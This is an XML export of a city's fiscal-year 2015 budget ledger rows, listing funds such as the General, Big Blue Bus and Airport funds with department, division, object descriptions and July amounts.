<row _id="17821"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1831</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1831</total></row>
<row _id="17822"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555870.0</object><object_description>GROCERY &amp; SUNDRY ITEMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3026</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3026</total></row>
<row _id="17823"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>23920</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>23920</total></row>
<row _id="17824"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>9534</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9534</total></row>
<row _id="17825"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8585</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8585</total></row>
<row _id="17826"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>34035</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>34035</total></row>
<row _id="17827"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>13897</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13897</total></row>
<row _id="17828"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511010.0</object><object_description>ESTIMATED PAY RAISE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17829"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>514</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>514</total></row>
<row _id="17830"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3473</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3473</total></row>
<row _id="17831"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>294</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>294</total></row>
<row _id="17832"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1589</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1589</total></row>
<row _id="17833"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>45691</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>45691</total></row>
<row _id="17834"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3660</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3660</total></row>
<row _id="17835"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>403820.0</object><object_description>SUMMER FOOD SERVICE PROGRAM</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17836"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555940.0</object><object_description>GRAD NIGHT SUBSIDY</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8752</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8752</total></row>
<row _id="17837"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>22514</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>22514</total></row>
<row _id="17838"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1588</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1588</total></row>
<row _id="17839"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>400490.0</object><object_description>FIREFIGHTER IN-SERVICE TRAININ</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17840"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577703.0</object><object_description>PROP A REIMBURSEMENT-ADMIN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-50000</total></row>
<row _id="17841"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>YEAR-END CASH OUTS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17842"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>288</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>288</total></row>
<row _id="17843"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>191861</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>191861</total></row>
<row _id="17844"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5290</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5290</total></row>
<row _id="17845"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6500</total></row>
<row _id="17846"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>14099</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14099</total></row>
<row _id="17847"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5375</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5375</total></row>
<row _id="17848"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object xsi:nil="true" /><object_description>YEAR-END CASH OUTS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17849"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>66094</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>66094</total></row>
<row _id="17850"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>566570.0</object><object_description>PERSONNEL EXAM EXPENSES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>68206</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>68206</total></row>
<row _id="17851"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511690.0</object><object_description>OUTSIDE TEMP AGENCY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>28597</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>28597</total></row>
<row _id="17852"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2850</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2850</total></row>
<row _id="17853"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>255</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>255</total></row>
<row _id="17854"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511810.0</object><object_description>TUITION REIMBURSEMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>57924</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>57924</total></row>
<row _id="17855"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>566640.0</object><object_description>STATE RECYCLING PROGRAM</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>55200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>55200</total></row>
<row _id="17856"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>401580.0</object><object_description>RECYCLED MATERIALS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-445300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-445300</total></row>
<row _id="17857"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1070</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1070</total></row>
<row _id="17858"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4489</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4489</total></row>
<row _id="17859"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>153750</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>153750</total></row>
<row _id="17860"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544860.0</object><object_description>SUMMER FOOD SERVICE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>24116</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24116</total></row>
<row _id="17861"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>38590</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>38590</total></row>
<row _id="17862"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8312</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8312</total></row>
<row _id="17863"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>16946</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16946</total></row>
<row _id="17864"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400980.0</object><object_description>SURF &amp; SAND APPLICATION FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-100000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-100000</total></row>
<row _id="17865"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>555660.0</object><object_description>ENVIRONMENTAL REIMBURSEMENT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-4484010</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-4484010</total></row>
<row _id="17866"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402160.0</object><object_description>AIRPORT - MISCELLANEOUS REV</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-2545</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2545</total></row>
<row _id="17867"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>190453</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>190453</total></row>
<row _id="17868"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20668</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20668</total></row>
<row _id="17869"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>19054</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19054</total></row>
